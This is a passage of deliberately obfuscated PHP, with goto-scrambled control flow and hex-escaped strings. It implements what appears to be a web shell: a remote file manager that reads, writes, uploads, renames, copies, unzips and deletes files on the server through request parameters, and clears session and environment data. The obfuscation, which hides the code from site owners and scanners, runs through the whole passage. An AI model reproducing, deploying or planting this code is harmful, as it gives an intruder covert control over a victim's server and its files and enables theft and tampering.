"\x2c\x30\x29\x3b\40\162\x65\164\x75\x72\156\x20\146\141\154\x73\145\x3b\x22\76" . $CIvJG[4] . "\74\57\x61\x3e\74\x2f\154\151\76"; goto vtJDH; AtElA: if (!(is_array($egz37) || is_object($egz37))) { goto ng4gB; } goto ZQkzk; fxnRO: global $E0reN, $xUEaS, $CIvJG; goto HkSYV; vtJDH: $q6siA = "\56"; goto hfcnb; mP6zx: } goto gwVEE; zjABa: c23KI($_GET["\x72\x65\x61\x64"]); goto fJMYP; i2Od2: echo $CIvJG[13]; goto B7aar; ovkRc: echo "\47\x29\x3b\x9\x20\xd\12\x9\x9\44\50\42\x23\x46\x69\x6c\145\125\x70\154\157\141\144\102\164\156\x22\x29\x2e\x61\x74\x74\x72\x28\42\x64\x69\163\141\142\x6c\145\x64\x22\x2c\40\42\144\x69\x73\141\142\x6c\x65\x64\x22\x29\73\xd\xa\x20\40\x20\x20\x20\x20\x20\40\145\x2e\x70\162\x65\x76\x65\x6e\164\x44\x65\x66\141\x75\154\x74\x28\x29\73\xd\xa\x20\40\x20\x20\x20\x20\x20\x20\166\141\162\x20\146\x6f\162\155\104\x61\164\141\x20\75\40\x6e\x65\167\40\x46\157\162\x6d\x44\x61\x74\x61\x28\x74\150\151\x73\x29\x3b\xd\xa\40\x20\40\x20\40\x20\40\x20\x76\141\162\40\144\x69\x72\x20\75\x24\x28\x27\x23\125\x70\x6c\157\x61\x64\x46\x69\x6c\x65\x44\151\162\47\x29\56\x76\141\x6c\x28\x29\73\xd\12\x20\40\x20\40\40\x20\40\40\44\56\x61\152\x61\170\x28\x7b\15\xa\11\11\11\170\x68\162\x3a\40\x66\165\156\143\x74\x69\x6f\156\x28\51\xd\12\11\x9\11\x7b\15\xa\x9\11\11\11\166\x61\x72\x20\170\x68\x72\x20\x3d\40\156\x65\x77\40\x77\151\x6e\x64\157\x77\x2e\130\x4d\x4c\110\164\x74\x70\122\x65\161\165\x65\x73\x74\50\51\x3b\15\12\11\x9\11\x9\x78\150\x72\x2e\165\x70\154\157\141\x64\56\x61\x64\144\105\166\145\x6e\x74\114\x69\x73\x74\x65\x6e\x65\x72\50\42\160\x72\x6f\147\x72\x65\x73\x73\x22\x2c\40\146\165\156\143\x74\151\x6f\156\x28\x65\x76\x74\x29\x20\173\xd\xa\x9\11\x9\11\x9\151\x66\40\x28\x65\x76\164\56\154\145\156\x67\x74\150\x43\x6f\155\x70\165\x74\141\142\x6c\x65\x29\x20\173\xd\12\11\11\x9\11\11\11\x76\141\x72\x20\x70\x65\x72\143\145\156\164\x43\x6f\x6d\x70\x6c\145\164\145\40\x3d\40\x4d\141\x74\150\56\x72\157\165\x6e\144\x28\x65\166\164\x2e\154\157\x61\144\145\x64\40\x2a\x20\61\x30\x30\x20\x2f\x20\x65\x76\164\x2e\x74\157\x74\x61\x6c\51\73\xd\12\11\x9\11\11\11\x9\x24\x28\47\x23\106\151\x6c\x65\x55\x70\x6c\x6f\x61\x64\x4c\x61\x62\145\x6c\x73\x75\x63\x63\x65\x73\163\47\51\56\x68\x74\155\154\x28\47"; goto SyM2X; ha16b: if (in_array($_GET["\163\x65\x61\x72\143\x68"], $Dmxoi["\x6c\x69\x73\x74"])) { goto MPiF5; } goto nKC3Z; SFqpX: echo "\x3c\57\x61\76\74\x2f\154\x69\76\15\12\40\40\40\40\40\x20\40\40\x20\40\40\x20\x3c\x6c\151\40\x63\x6c\x61\163\x73\75\x22\x22\x3e\x3c\x61\40\144\x61\x74\x61\x2d\x74\157\x67\147\154\x65\x3d\42\x74\141\142\42\x20\x68\x72\x65\146\x3d\42\x23\137\164\x72\x65\x65\x22\x20\x69\x64\x3d\42\110\162\x65\x66\124\162\145\x65\x22\76"; goto fzasp; SV5TX: $IsXKt = kqwv6(ini_get("\x75\160\x6c\157\x61\144\137\155\141\170\137\146\x69\154\145\x73\151\x7a\145")); goto tJbbk; W72cC: $Dmxoi = lwX0m($E0reN); goto ajRay; rFhxM: if (!(is_array($Neukl) || is_object($Neukl))) { goto zy9SN; } goto Cs9F4; CpsnM: $dm0oc[5] = "\x64\x61\164\x61\72\x69\x6d\141\x67\145\x2f\160\x6e\147\x3b\x62\x61\163\145\66\64\54\x69\126\x42\x4f\x52\x77\60\113\107\x67\157\101\x41\x41\101\x4e\123\x55\150\x45\x55\147\101\x41\x41\102\101\101\x41\101\x41\121\x43\101\x59\101\101\101\x41\146\x38\x2f\x39\x68\x41\x41\101\x41\x68\x55\x6c\105\121\126\x51\64\152\x57\x4e\x67\157\x43\132\x6f\141\x47\x67\x51\x6d\x54\102\150\121\154\126\57\146\63\x38\104\117\155\65\160\141\x5a\105\x6d\x61\115\103\x45\103\122\117\161\x79\163\x72\113\x65\x4e\x48\106\x2b\57\x76\x37\x47\171\132\117\x6e\x50\151\x6c\157\141\x47\102\102\x36\x38\102\x2f\146\x33\x39\x44\142\x6a\x45\157\x61\66\67\x76\155\162\x56\x4b\155\x5a\x79\104\113\x68\x75\x61\107\152\x67\66\x2b\156\x70\x30\x5a\x67\167\131\x63\112\x69\153\147\x31\157\x61\x32\x73\124\x37\x65\57\166\x72\64\x5a\x36\65\121\x44\112\x42\x68\103\164\132\164\123\x41\x59\127\110\x41\x68\101\153\x54\x2f\x43\x5a\x4f\x6e\x44\147\106\127\x32\141\103\64\131\153\x54\x4a\x33\64\152\132\x41\x6c\112\x41\101\x44\143\160\63\112\116\157\66\x50\111\132\x67\x41\101\x41\101\x42\112\122\x55\x35\105\x72\153\112\x67\x67\147\75\x3d"; goto GmIu_; vRTZY: echo "\47\54\15\xa\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\157\x6e\x50\x61\x67\145\103\x6c\x69\143\x6b\x3a\40\x66\165\x6e\x63\164\151\x6f\156\x20\50\x65\166\x65\156\x74\x2c\40\160\x61\x67\145\x29\40\x7b\xd\xa\11\x9\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x69\146\x28\164\171\x70\x65\x3d\75\60\51\x20\x20\173\x20\11\15\12\11\11\11\x20\40\x20\40\40\x20\x20\40\x20\x20\44\50\42\43\x63\x6f\156\164\145\x6e\164\x22\x29\56\x68\164\155\x6c\50\x4c\x6f\141\x64\x69\156\x67\110\164\x6d\154\x29\x3b\xd\xa\11\11\40\x20\40\40\40\40\40\40\40\x20\x20\x20\40\40\44\56\x67\145\164\112\x53\117\x4e\x28\x22\77\x64\x69\162\x3d\x22\53\x64\x61\x74\141\x2e\144\151\162\x2b\x22\46\164\141\x62\154\145\x26\x70\x61\147\x65\x3d\x22\53\x70\141\x67\145\53\x22\x26\x61\x6c\x65\162\x74\x3d\42\53\x64\x61\x74\141\56\141\154\x65\x72\164\54\40\x66\x75\156\143\x74\x69\x6f\156\x28\144\141\164\x61\x29\173\x24\x28\42\43\143\157\156\x74\x65\156\x74\42\x29\x2e\x68\x74\x6d\x6c\50\144\141\164\x61\56\x74\x61\142\x6c\145\x29\73\40\x24\x28\x22\x23\122\145\x73\x75\154\x74\42\x29\x2e\x68\164\155\154\50\x64\x61\164\x61\56\164\x61\142\x6c\145\51\x3b\40\44\50\x27\43\142\x72\145\x61\x64\x63\162\x75\155\142\x27\51\x2e\150\164\x6d\154\50\144\x61\164\141\x2e\x64\x69\162\x48\164\x6d\x6c\x29\73\x20\x20\x24\50\x27\x23\x61\x6c\145\x72\x74\47\x29\56\x68\x74\155\154\50\144\x61\x74\141\x2e\141\x6c\x65\x72\x74\x29\73\175\x29\73\x7d\xd\xa\11\x9\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\x7d\x20\x20\40\x20\40\40\x20\x20\xd\12\x9\11\40\40\x20\40\x20\x20\x20\40\x7d\x29\x3b\xd\xa\11\11\x9\40\x20\40\x20\40\40\175\51\x3b\x9\xd\12\x9\x9\x9\11\x20\x20\xd\xa\11\x9\11\175\73\xd\xa\x9\11\11\xd\12\x9\x9\x9\146\165\156\143\164\x69\x6f\156\40\x53\145\x61\162\143\x68\x28\51\15\12\x9\x9\11\173\15\12\x9\11\11\40\x20\x20\40\147\145\x74\x43\157\x6e\x74\x65\156\x74\x28\42\x64\x69\x72\75\x22\53\44\x28\47\x23\x64\x69\x72\x49\x6e\160\165\x74\x53\145\141\162\x63\150\x27\51\56\x76\x61\154\x28\x29\53\47\46\163\145\141\x72\143\150\x3d\47\53\44\50\47\x23\x69\x6e\x70\x75\x74\123\145\141\162\143\x68\x27\x29\56\x76\141\154\x28\51\x2c\61\x29\x9\15\12\11\11\11\175\15\12\11\11\11\15\xa\xd\xa\x9\11\11\xd\xa\11\11\x9\x20\x66\165\156\x63\x74\151\x6f\156\x20\123\x65\164\x52\x65\156\x61\155\x65\115\157\144\x61\x6c\141\x74\x74\162\50\144\x69\162\51\15\xa\x9\x9\x9\x20\173\xd\12\11\x9\x9\x9\x2f\x2f\166\x61\x72\x20\146\x69\154\145\x6e\141\x6d\x65\x3d\x20\x53\160\154\151\164\106\x69\x6c\x65\116\141\x6d\145\x28\x64\151\162\54\42\57\x22\x29\x2e\x73\160\154\x69\164\x28\42\x26\42\x29\133\60\x5d\73\15\xa\x9\11\11\x9\x64\151\x72\40\x3d\40\x72\x65\160\x6c\x61\143\145\137\x64\x69\162\x28\144\151\162\x29\73\40\xd\xa\11\11\11\11\166\x61\162\40\x66\x69\154\x65\x6e\141\155\x65\40\75\40\x53\x70\x6c\151\164\x46\x69\x6c\145\x4e\x61\x6d\145\x28\144\x69\x72\56\163\x70\154\x69\164\50\x22\46\42\51\x5b\x30\x5d\x2c\42\57\x22\x29\x3b\x20\15\12\11\11\11\11\44\x28\47\43\x72\145\156\141\x6d\x65\x49\x6e\160\165\x74\x27\x29\x2e\x76\141\154\50\146\x69\x6c\x65\x6e\x61\155\x65\51\x3b\44\50\47\x23\x72\x65\x6e\x61\x6d\145\x44\151\162\x27\x29\x2e\x76\x61\154\50\x64\151\x72\x29\73\x24\50\47\43\122\145\156\x61\155\x65\x66\151\x6c\x65\x4e\141\155\x65\x27\x29\x2e\x68\164\155\x6c\50\x66\x69\x6c\x65\x6e\141\x6d\145\x29\x3b\15\xa\11\x9\11\x9\44\x28\47\43\x53\150\157\167\x46\151\154\x65\x27\51\56\x6d\x6f\x64\x61\x6c\50\47\x68\x69\144\x65\47\x29\73\11\xd\xa\11\x9\x9\x9\x24\x28\x27\x23\122\x65\156\x61\155\145\47\x29\x2e\155\x6f\144\141\x6c\x28\x27\x73\150\x6f\167\x27\51\x3b\x9\xd\12\x9\x9\11\11\x24\x28\x20\42\43\x72\x65\x6e\x61\155\145\111\156\160\x75\x74\x22\x20\x29\56\146\157\143\x75\x73\x28\x29\73\x9\x9\x9\x9\x9\xd\12\x9\x9\x9\x20\x7d\73\xd\12\11\x9\x9\x20\xd\xa\x9\11\x9\x20\xd\xa\x9\11\11\x20\x20\x66\x75\156\x63\x74\x69\157\x6e\40\123\145\x74\116\145\167\106\157\154\144\x65\x72\x4d\157\x64\141\154\x61\164\x74\x72\x28\x29\15\12\x9\x9\x9\x20\173\15\12\x9\x9\11\11\x64\x69\162\x20\75\40\x24\50\x27\43\x64\151\162\x65\x63\164\157\x72\171\47\x29\x2e\x76\141\x6c\x28\x29\x3b\xd\12\x9\11\11\11\x64\151\x72\x20\x3d\40\x72\145\160\x6c\141\143\x65\137\x64\x69\x72\50\x64\151\x72\x29\x3b\40\15\xa\x9\x9\x9\x9\44\50\47\x23\116\x65\x77\x46\157\x6c\x64\x65\x72\x44\x69\x72\x27\x29\56\x76\141\x6c\50\144\x69\162\x29\73\xd\12\11\11\x9\x9\x24\50\47\43\123\x68\157\167\106\x69\x6c\x65\47\51\x2e\x6d\157\x64\141\x6c\x28\x27\150\x69\x64\145\47\51\73\11\xd\12\x9\x9\x9\x9\x24\50\47\43\x4e\145\167\x46\x6f\x6c\144\x65\x72\x27\x29\56\155\157\144\x61\154\50\47\163\x68\157\167\47\51\73\11\15\12\11\x9\x9\11\44\x28\40\42\43\116\145\167\x46\157\x6c\x64\145\162\104\x69\162\42\x20\51\56\x66\x6f\x63\x75\163\50\x29\x3b\11\11\x9\11\11\15\12\x9\11\11\40\x7d\x3b\15\xa\11\11\x9\x20\15\xa\x9\x9\x9\x20\146\x75\x6e\x63\x74\151\x6f\156\x20\x53\145\164\x55\x70\154\x6f\141\x64\106\151\x6c\x65\115\x6f\144\141\154\x61\x74\x74\162\50\51\xd\xa\11\11\x9\40\x7b\15\12\11\11\11\11\144\151\162\40\x3d\x20\x24\x28\x27\x23\144\151\162\145\x63\x74\157\x72\171\47\x29\x2e\166\141\x6c\x28\x29\73\15\12\x9\x9\x9\11\144\x69\162\x20\75\x20\162\x65\x70\154\x61\x63\145\137\x64\x69\x72\x28\x64\151\162\51\73\40\xd\xa\11\x9\11\11\44\50\x27\x23\x55\x70\154\x6f\141\x64\x46\151\x6c\145\x44\151\x72\47\x29\x2e\x76\x61\154\x28\x64\x69\162\x29\73\15\xa\11\11\x9\11\44\50\47\43\x69\x6e\160\165\164\106\x69\154\145\125\160\x6c\157\141\144\x27\x29\x2e\x76\x61\154\x28\47\47\x29\73\xd\xa\11\11\11\x9\x24\50\x22\43\x55\x70\x6c\157\141\144\x46\151\154\145\x53\x69\x7a\x65\42\x29\56\x68\164\x6d\x6c\50\47\47\x29\73\11\15\xa\11\x9\11\11\x24\x28\x27\x23\x53\x68\157\x77\106\x69\154\x65\47\51\x2e\x6d\x6f\x64\x61\154\x28\x27\150\151\144\145\x27\51\73\11\xd\12\11\11\x9\x9\44\50\x22\x23\x46\151\x6c\x65\125\160\154\157\141\x64\x42\x74\x6e\x22\51\56\x61\x74\164\x72\x28\42\144\151\x73\141\x62\154\x65\144\x22\x2c\40\x22\x64\151\163\141\x62\x6c\145\x64\42\51\x3b\xd\12\11\x9\x9\11\44\x28\47\43\x6d\x61\170\106\151\x6c\x65\x53\151\172\145\47\x29\56\150\164\155\154\x28\40\x66\157\162\x6d\x61\x74\x46\x69\154\145\123\151\172\x65\x28\155\x61\170\x46\151\x6c\145\x53\151\x7a\145\x29\40\x29\x3b\x9\15\12\x9\x9\11\11\44\x28\x27\43\x46\151\154\145\x55\x70\154\157\x61\x64\x4c\141\x62\145\154\163\165\143\x63\x65\163\x73\47\x29\56\150\164\x6d\154\x28\x27\47\51\73\15\12\11\x9\11\11\x24\50\47\43\125\x70\x6c\157\141\x64\x46\151\x6c\x65\x27\x29\x2e\x6d\157\x64\141\154\50\x27\163\150\x6f\167\47\51\x3b\x9\11\x9\11\15\xa\x9\11\11\x20\x7d\73\xd\xa\11\11\x9\x20\xd\xa\11\11\11\x20\x20\146\x75\x6e\143\164\151\157\x6e\40\x53\x65\x74\x43\157\160\171\x46\x69\x6c\x65\115\x6f\x64\141\154\141\x74\164\x72\x28\x64\151\162\51\xd\xa\11\x9\x9\x20\x7b\xd\xa\x9\11\xd\12\x9\x9\x9\11\x64\x69\162\x20\75\x20\162\145\160\154\141\143\145\x5f\x64\151\162\x28\x64\151\162\x29\73\40\15\12\11\x9\11\x9\x2f\57\166\141\x72\x20\146\x69\154\145\x6e\x61\155\145\40\x3d\x20\x53\x70\x6c\151\164\x46\x69\x6c\145\x4e\x61\x6d\145\50\144\151\x72\56\163\160\154\x69\x74\50\42\x26\x22\51\x5b\x30\x5d\x2c\42\57\42\x29\x3b\x20\15\xa\11\x9\11\x9\x76\x61\162\40\x66\151\x6c\x65\156\141\155\145\x20\x3d\40\144\151\x72\x2e\x73\x70\x6c\x69\x74\x28\x22\x26\42\x29\x5b\x30\135\73\40\15\12\11\x9\11\11\x2f\x2f\x76\x61\162\40\x66\x69\154\x65\156\141\155\x65\x20\x3d\40\146\151\154\x65\x6e\x61\155\145\56\163\x70\154\x69\164\x28\42\57\42\x29\133\146\x69\x6c\x65\x6e\x61\155\145\x2e\163\160\x6c\x69\x74\x28\42\x2f\x22\x29\x2e\154\145\x6e\x67\164\150\x2d\x31\135\x2b\47\57\x27\x3b\40\15\xa\x9\11\11\11\x24\50\47\x23\106\162\157\155\x46\157\x6c\144\145\x72\104\151\162\x27\51\x2e\166\141\154\x28\144\x69\162\x29\x3b\15\xa\x9\x9\11\11\x24\50\47\x23\124\x6f\x46\157\x6c\x64\x65\x72\x49\156\x70\x75\164\47\x29\x2e\x76\141\154\x28\x66\151\x6c\145\156\141\x6d\x65\x29\x3b\x20\x2f\57\146\x69\154\145\x6e\141\x6d\x65\56\x73\x6c\x69\143\x65\50\x20\x30\54\40\146\151\x6c\x65\x6e\x61\155\145\56\154\x61\163\164\x49\156\144\145\x78\117\146\x28\x22\57\x22\x29\51\53\x27\x2f\47\xd\12\11\x9\11\x9\44\x28\47\43\123\x68\157\167\x46\x69\154\x65\47\51\56\155\157\144\x61\x6c\x28\47\x68\151\144\x65\47\51\x3b\11\15\xa\x9\11\x9\11\44\x28\47\43\103\157\x70\171\106\x6f\x6c\x64\145\162\47\x29\56\x6d\157\x64\141\x6c\x28\47\163\150\x6f\167\47\x29\x3b\x9\11\15\12\x9\11\11\11\44\x28\40\42\43\124\x6f\x46\157\154\x64\145\162\111\156\x70\165\164\x22\40\51\56\x66\x6f\143\x75\x73\x28\51\x3b\11\x9\11\x9\xd\xa\11\x9\x9\x20\x7d\73\xd\xa\x9\11\x9\40\15\12\x9\x9\11\40\146\165\x6e\143\x74\x69\157\x6e\40\123\x65\x74\x5a\151\160\x46\x69\154\x65\x4d\157\144\141\154\141\164\164\162\50\144\x69\162\x29\15\xa\11\11\11\x20\173\xd\xa\11\x9\15\12\x9\x9\11\x9\144\x69\x72\x20\75\x20\162\145\160\x6c\141\143\145\137\144\151\162\x28\144\x69\162\x29\73\40\15\xa\11\x9\11\11\x2f\57\166\x61\x72\x20\x66\x69\154\145\x6e\141\155\x65\40\75\x20\x3b\x20\x9\11\11\xd\12\11\11\11\11\x24\50\x27\x23\x5a\x69\160\144\151\162\x27\51\x2e\x76\x61\154\50\144\151\x72\51\73\15\12\11\x9\x9\11\x76\141\162\x20\146\151\154\145\156\141\x6d\145\x20\75\40\144\x69\x72\56\163\x70\154\151\164\x28\x22\46\x22\x29\133\x30\135\x3b\40\15\12\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\44\50\x27\x23\132\x69\x70\x66\151\154\x65\116\141\x6d\145\x27\51\x2e\x68\x74\x6d\x6c\50\x53\160\x6c\x69\164\x46\x69\154\x65\116\x61\x6d\145\50\x64\x69\162\56\x73\160\x6c\151\x74\x28\42\x26\x22\51\133\x30\135\54\42\57\x22\51\x29\73\xd\xa\11\11\11\x9\x24\x28\47\x23\x46\x6f\x6c\144\145\x72\x55\x6e\x7a\151\x70\x49\156\160\x75\x74\x27\51\56\x76\x61\154\x28\x66\151\x6c\x65\156\x61\155\x65\x2e\x73\154\151\143\x65\x28\x20\x30\54\40\x66\151\x6c\x65\156\x61\155\x65\x2e\x6c\141\x73\x74\x49\x6e\x64\145\x78\x4f\146\x28\x22\x2f\x22\x29\51\x2b\47\57\47\x29\73\15\12\x9\11\x9\11\x24\x28\47\x23\123\x68\x6f\x77\x46\x69\154\x65\x27\51\x2e\155\x6f\144\141\x6c\50\x27\x68\x69\x64\145\47\51\x3b\11\xd\12\11\11\x9\x9\x24\x28\47\x23\x5a\x69\x70\106\x69\x6c\145\47\51\56\x6d\157\x64\141\154\50\x27\x73\x68\157\x77\x27\x29\73\11\x9\15\xa\11\x9\x9\11\44\50\40\42\x23\x46\157\x6c\x64\x65\x72\x55\x6e\x7a\151\160\x49\x6e\160\x75\x74\x22\40\x29\x2e\x66\x6f\x63\165\163\50\51\73\x9\11\11\x9\15\12\x9\11\x9\x20\x7d\73\15\xa\x9\11\x9\x20\15\xa\x9\11\x9\x20\xd\12\11\11\11\40\x20\xd\12\11\x9\x9\40\15\12\11\x9\11\x20\x66\165\156\143\164\151\157\156\x20\x53\x65\164\x52\x65\155\x6f\x76\x65\115\157\x64\141\154\141\x74\164\x72\50\x64\151\x72\x29\xd\12\11\x9\11\40\173\xd\xa\11\x9\11\11\144\x69\162\40\x3d\40\162\x65\x70\154\141\143\145\137\x64\151\x72\x28\x64\151\x72\51\x3b\x20\15\12\x9\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x76\141\x72\40\x66\151\x6c\x65\156\x61\x6d\x65\x20\x3d\40\x53\x70\154\x69\x74\x46\151\154\145\x4e\x61\155\x65\50\x64\151\162\56\163\160\154\151\164\x28\42\x26\x22\x29\133\60\x5d\54\x22\57\42\x29\73\40\xd\12\11\11\x9\11\x24\50\47\x23\x52\x65\x6d\x6f\x76\145\111\156\160\165\164\47\51\x2e\x76\x61\x6c\50\x66\151\154\x65\x6e\141\x6d\x65\x29\x3b\44\50\x27\x23\x52\145\155\157\166\x65\x64\151\x72\x27\51\x2e\x76\x61\154\50\144\x69\162\x29\x3b\x24\x28\x27\x23\122\145\155\157\x76\145\x66\x69\x6c\x65\x4e\x61\x6d\x65\x27\51\x2e\x68\164\155\154\50\146\x69\154\145\156\x61\155\x65\51\x3b\15\xa\11\11\11\11\44\50\x27\x23\x53\x68\157\167\106\x69\x6c\x65\x27\51\56\155\x6f\x64\x61\154\50\47\150\151\x64\x65\x27\51\73\11\15\12\x9\x9\11\x9\x24\50\47\x23\x52\x65\x6d\157\x76\145\47\51\56\x6d\x6f\x64\x61\x6c\50\47\x73\150\157\167\x27\51\73\11\x9\11\x9\xd\12\x9\x9\11\x20\175\73\xd\xa\xd\12\x9\40\x20\x20\x20\x20\40\40\x20\x66\165\x6e\143\164\151\x6f\156\40\147\145\x74\x45\170\x74\50\146\x69\154\145\156\141\x6d\145\51\xd\12\11\x20\40\40\x20\40\40\40\40\x7b\15\12\11\11\x9\x20\40\x72\145\164\x75\x72\156\40\146\x69\x6c\x65\x6e\141\x6d\x65\x2e\163\165\x62\x73\164\162\50\x66\x69\154\145\156\141\x6d\145\x2e\x6c\141\x73\164\x49\x6e\144\145\x78\x4f\x66\x28\x27\x2e\x27\51\x2b\x31\51\x2e\x74\157\114\157\x77\145\162\x43\x61\x73\x65\50\x29\x3b\xd\12\11\x9\x20\x20\x20\x20\40\x20\57\57\x72\145\164\165\x72\x6e\x20\x66\x69\154\145\156\x61\x6d\145\x2e\163\x70\154\x69\x74\50\47\x2e\x27\x29\x2e\x70\x6f\160\x28\x29\x3b\xd\xa\x9\11\x20\40\x20\x20\x7d\15\xa\x9\x9\11\xd\xa\x9\11\11\x66\165\x6e\143\164\151\157\x6e\x20\x53\x70\x6c\x69\x74\x46\151\x6c\145\x4e\x61\155\x65\50\144\151\x72\x2c\163\x70\x6c\151\x74\x29\xd\xa\11\11\11\x7b\15\12\11\11\x9\11\x76\x61\x72\x20\x66\x69\154\x65\137\x6e\141\x6d\x65\x5f\141\x72\162\141\171\40\75\x20\x64\x69\x72\x2e\x73\160\x6c\151\164\50\x73\x70\154\x69\x74\51\73\15\xa\x9\x9\11\x9\x72\x65\x74\x75\x72\156\40\x66\151\154\x65\137\x6e\141\x6d\145\137\x61\x72\x72\141\171\x5b\146\x69\x6c\x65\x5f\156\141\x6d\145\x5f\x61\x72\x72\x61\x79\x2e\x6c\x65\x6e\x67\164\150\40\x2d\x20\61\135\x3b\15\12\11\x9\x9\x7d\15\12\11\15\xa\x9\x9\x9\40\x20\x66\165\x6e\143\164\151\157\x6e\x20\123\x65\x74\x53\x68\x6f\x77\x46\x69\x6c\x65\x4d\157\x64\141\x6c\x61\164\x74\162\x28\x64\151\162\51\xd\xa\x9\11\x9\x20\173\15\12\x9\x9\11\11\x20\44\x28\x22\x23\x46\x69\x6c\x65\127\162\151\x74\x65\102\x74\x6e\x22\51\x2e\150\151\x64\x65\x28\51\73\xd\xa\x9\11\x9\x9\40\144\x69\x72\40\x3d\x20\162\x65\x70\x6c\141\x63\x65\137\x64\x69\x72\50\x64\x69\162\51\73\40\xd\xa\x9\11\11\x9\40\x69\x66\40\x28\144\x69\162\56\151\156\x64\145\x78\x4f\146\50\x22\x23\x22\x29\x20\x21\75\x2d\61\x29\x20\xd\12\x9\11\11\x9\x9\40\x76\141\162\x20\146\x69\x6c\x65\156\x61\155\145\40\75\x20\x53\x70\154\x69\x74\106\x69\x6c\145\116\141\155\x65\50\x64\x69\x72\x2c\42\x23\42\51\x3b\15\12\x9\x9\11\11\x20\x65\x6c\163\x65\15\xa\x9\x9\x9\11\11\x20\x76\x61\x72\x20\146\x69\x6c\x65\x6e\x61\155\145\x20\75\40\123\x70\154\151\x74\x46\x69\x6c\x65\x4e\x61\155\145\x28\x64\x69\162\54\x22\x2f\x22\x29\73\15\12\xd\xa\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\44\x28\x27\x23\x66\x69\x6c\145\x6e\x61\155\x65\x49\x6e\x70\x75\164\x27\51\x2e\x76\141\x6c\50\146\x69\154\145\x6e\141\x6d\x65\51\73\15\xa\11\11\x9\x9\57\57\40\166\x61\162\x20\x64\151\162\40\75\40\x66\151\x6c\x65\x5f\156\x61\155\x65\137\x61\162\x72\x61\171\133\146\x69\x6c\145\x5f\156\x61\155\145\x5f\x61\x72\162\141\171\56\x6c\x65\156\147\x74\x68\40\55\40\62\x5d\73\xd\12\11\11\11\11\44\x28\x27\x2e\x6e\x61\x76\55\x74\141\142\x73\x20\141\x5b\x68\x72\145\x66\75\42\43\x5f\142\x72\x6f\167\163\x65\x22\x27\51\x2e\164\141\x62\x28\47\x73\150\x6f\167\x27\51\x3b\15\12\11\x9\11\11\x24\x28\42\43\154\151\163\x74\x46\x6f\x6c\x64\145\x72\106\x69\154\x65\x73\42\x29\56\x68\164\x6d\x6c\50\x27\47\x29\x3b\xd\xa\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x24\x28\x22\x23\110\162\x65\146\102\x72\x6f\x77\163\x65\42\51\x2e\150\164\x6d\x6c\x28\x27"; goto u5J6U; hbwVI: Fam6z: goto z3_qq; Wurt0: echo $CIvJG[3]; goto gknVM; nFLPI: ULAxN: goto b2nVA; gK_k0: fVhW4: goto AHQL3; d3VBT: echo $dm0oc[15]; goto Yz4qM; TkCmD: $qHvt6 = isset($_POST["\164\x78\x74"]) ? $_POST["\x74\x78\164"] : ''; goto N0OT0; ogtzb: $k8LVN .= "\74\164\x68\x20\x63\x6c\x61\163\163\75\x22\x63\157\154\x2d\155\144\55\x34\42\x3e" . $CIvJG[5] . "\x3c\57\164\x68\x3e\x3c\x74\x68\x20\143\x6c\141\x73\163\x3d\42\x68\x69\x64\x64\145\156\55\170\163\40\143\157\x6c\55\x6d\144\x2d\62\x22\x3e" . $CIvJG[6] . "\74\57\x74\x68\x3e\74\164\150\40\x63\x6c\141\163\x73\x3d\42\x68\x69\x64\x64\145\x6e\x2d\170\x73\x20\143\157\x6c\55\155\144\x2d\x32\x22\x3e" . $CIvJG[7] . "\74\57\x74\x68\x3e\74\164\150\x20\x63\154\141\x73\x73\x3d\x22\150\151\144\x64\x65\156\55\x78\163\40\x63\157\154\55\x6d\x64\55\62\x22\x3e" . $CIvJG[28] . "\74\x2f\164\150\x3e"; goto jO8bh; nxcW3: @UO0XM($_GET["\122\145\x6d\157\x76\145"], true); goto VwiqS; fpBAl: $CIvJG[5] = "\106\151\x6c\x65\x6e\x61\155\145"; goto JSp5j; uG5Xp: echo "\47" . implode("\47\54\47", $MTWgC[1]) . "\x27"; goto nEX1o; gwVEE: function XuMHc($Ogb3s) { goto q2o_y; Gd_HM: $v5xEY = filesize($Ogb3s); goto D8g3M; NYvIs: jYDXp: goto Gd_HM; wjGbH: return number_format($v5xEY / pow(1024, $tZTJH), 2, "\56", "\54") . "\40" . $qJrrE[$tZTJH]; goto WxmlW; uFg0r: return "\x2d\55"; goto NYvIs; q2o_y: global $qJrrE; goto DzdYH; D8g3M: $tZTJH = $v5xEY > 0 ? floor(log($v5xEY, 1024)) : 0; goto wjGbH; DzdYH: if (!(is_dir($Ogb3s) || $Ogb3s == "\56\57\115\141\164\x63\150\137\x6e\157\x74\137\x66\157\x75\x6e\x64")) { goto jYDXp; } goto uFg0r; WxmlW: } goto flqrc; k9NF3: if ($FNpgA) { goto tgqiW; } goto OjCAV; rP8KH: unset($_ENV); goto gdq42; dLorG: $k8LVN .= "\x3c\164\150\x20\143\154\x61\x73\163\x3d\42\x68\x69\x64\144\x65\x6e\x2d\x78\x73\x20\x63\157\154\55\155\144\55\x32\x22\76" . $CIvJG[8] . "\x3c\x2f\x74\x68\76\x3c\57\x74\162\x3e\x3c\57\164\x68\145\x61\144\x3e\x3c\164\142\x6f\x64\171\76"; goto rFhxM; VXM4w: if (!(is_array($_FILES["\x69\156\160\x75\x74\106\151\x6c\x65\125\x70\154\157\141\144"]["\x6e\x61\x6d\145"]) || is_object($_FILES["\x69\156\160\165\164\x46\x69\154\x65\125\x70\154\157\x61\144"]["\156\141\x6d\145"]))) { goto HTDGn; } goto JgYbn; x3w67: unset($_SESSION); goto LxYSV; r4eYE: echo 